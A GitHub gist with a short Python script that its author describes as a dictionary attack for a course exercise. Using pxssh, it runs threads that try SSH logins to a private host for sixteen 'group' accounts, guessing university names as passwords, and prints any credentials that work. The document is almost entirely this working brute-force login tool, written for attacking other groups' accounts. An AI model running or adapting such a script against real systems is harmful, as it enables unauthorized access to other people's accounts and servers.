Skip to content

Instantly share code, notes, and snippets.

@arjkb
Last active April 9, 2018 03:40
Show Gist options
  • Save arjkb/16948f9241a944e094a9c11cf0ab5d25 to your computer and use it in GitHub Desktop.
Save arjkb/16948f9241a944e094a9c11cf0ab5d25 to your computer and use it in GitHub Desktop.
Code to try potential passwords for werewolves (CS 544 spring 2018). Soft of like a dictionary attack.
# this script is based on something I saw on stackoverflow
# https://stackoverflow.com/questions/42704995/brute-force-script
# author: Arjun Krishna Babu
# This is a poorly written code for entirely private purposes. Please don't judge me.
from pexpect import pxssh
import sys
import threading
global_passwords = dict() # all passwords are stored here
class AsyncCheck(threading.Thread):
def __init__(self, group, attempt):
threading.Thread.__init__(self)
self.group = group
self.attempt = attempt
def run(self):
try:
if pxssh.pxssh().login('10.200.0.104', self.group, self.attempt):
global_passwords[self.group] = self.attempt
print(self.group, " password is:", self.attempt)
else:
#print(self.attempt, "failed for ", self.group)
pass
except:
print(self.attempt, "did not work for ", self.group)
pass
def main():
# pxssh.pxssh().login('10.200.0.104', 'group12', 'MIT')
print("starting brute force...")
group_names = list()
for i in range(16):
group_names.append("group{}".format(i))
print(group_names)
potentials = ["Harvard", "Columbia", "Yale", "Stanford", "MIT", "Cornell"]
for potential in potentials:
attempt = ''.join(potential)
for group in group_names:
try:
if group not in global_passwords:
AsyncCheck(group, attempt).start()
except:
pass
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment